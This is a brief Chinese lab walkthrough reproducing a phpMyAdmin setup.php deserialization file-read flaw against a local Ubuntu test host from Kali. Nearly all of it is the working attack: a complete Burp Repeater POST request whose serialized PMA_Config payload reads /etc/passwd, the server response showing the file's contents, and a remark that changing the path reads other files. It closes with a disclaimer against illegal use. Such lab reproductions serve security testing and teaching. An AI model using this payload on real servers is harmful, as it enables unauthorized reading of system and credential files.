一、环境
小受：192.168.139.128 Ubuntu
小攻：192.168.139.133 Kali
二、打开BurpSuite将下面数据包内容复制到Repeater模块
POST /scripts/setup.php HTTP/1.1 Host: 192.168.139.128:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 80 action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
三，点击发送，在响应包里可以看到/etc/passwd文件内容，通过修改该目录可以查看其它文件
HTTP/1.1 200 OK Date: Fri, 16 Jul 2021 03:45:28 GMT Server: Apache/2.4.10 (Debian) PHP/5.4.45 X-Powered-By: PHP/5.4.45 Set-Cookie: phpMyAdmin=ehAgONg1SyelTgUsjNoS9OVOa27; path=/scripts/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1337 Connection: close Content-Type: text/html root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false <br /> <b>Fatal error</b>: Cannot use object of type PMA_Config as array in <b>/var/www/html/scripts/setup.php</b> on line <b>35</b><br />
禁止非法，后果自负
